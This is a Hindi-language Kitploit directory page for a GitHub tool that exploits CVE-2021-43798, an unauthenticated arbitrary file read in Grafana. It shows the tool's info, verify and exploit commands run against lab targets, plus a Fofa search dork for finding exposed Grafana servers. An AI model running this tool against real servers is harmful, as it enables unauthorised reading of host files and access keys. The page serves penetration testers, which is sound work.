Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-43798 — Grafana Arbitrary File Reading Vulnerability | Kitploit
उपकरण/GitHubGitHub/zer0yu/cve-2021-43798
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubzer0yu/cve-2021-43798

CVE-2021-43798

Grafana Arbitrary File Reading Vulnerability

रिपॉजिटरी देखें
2764 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GrafanaArbitraryFileRead

Usage

1. show info

root@kitploit:~
❯ go run main.go -s                                               
[INF] VulnInfo:
{
  "Name": "Grafana Arbitrary File Read",
  "VulID": "nil",
  "Version": "1.0",
  "Author": "z3",
  "VulDate": "2021-12-07",
  "References": [
    "https://nosec.org/home/detail/4914.html"
  ],
  "AppName": "Grafana",
  "AppPowerLink": "https://grafana.com/",
  "AppVersion": "Grafana Version 8.*",
  "VulType": "Arbitrary File Read",
  "Description": "An unauthorized arbitrary file reading vulnerability exists in Grafana, which can be exploited by an attacker to read arbitrary files on the host computer without authentication.",
  "Category": "REMOTE",
  "Dork": {
    "Fofa": "app=\"Grafana\"",
    "Quake": "",
    "Zoomeye": "",
    "Shodan": ""
  }
}%     

2. verify

root@kitploit:~
echo vulfocus.fofa.so:55628 | go run main.go -v -t 20
http://vulfocus.fofa.so:55628

3. exploit

root@kitploit:~
echo http://vulfocus.fofa.so:51766 | go run main.go -m exploit -v

संदर्भ 1 में उपयोग विचार का कार्यान्वयन। अधिक जानकारी निकालने के लिए कृपया getAccesskey फ़ंक्शन में रेगुलर एक्सप्रेशन को संशोधित करें।

Reference

  1. ग्राफ़ाना नवीनतम मनमाना फ़ाइल पढ़ने का विश्लेषण और व्युत्पन्न समस्याओं की व्याख्या
  2. ग्राफ़ाना अनधिकृत मनमाना फ़ाइल पढ़ने की कमजोरी

Disclaimer

यह प्रक्रिया केवल सुरक्षा स्व-निरीक्षण के लिए है, कृपया स्थानीय कानूनों का पालन करें।

टूल डाउनलोड करें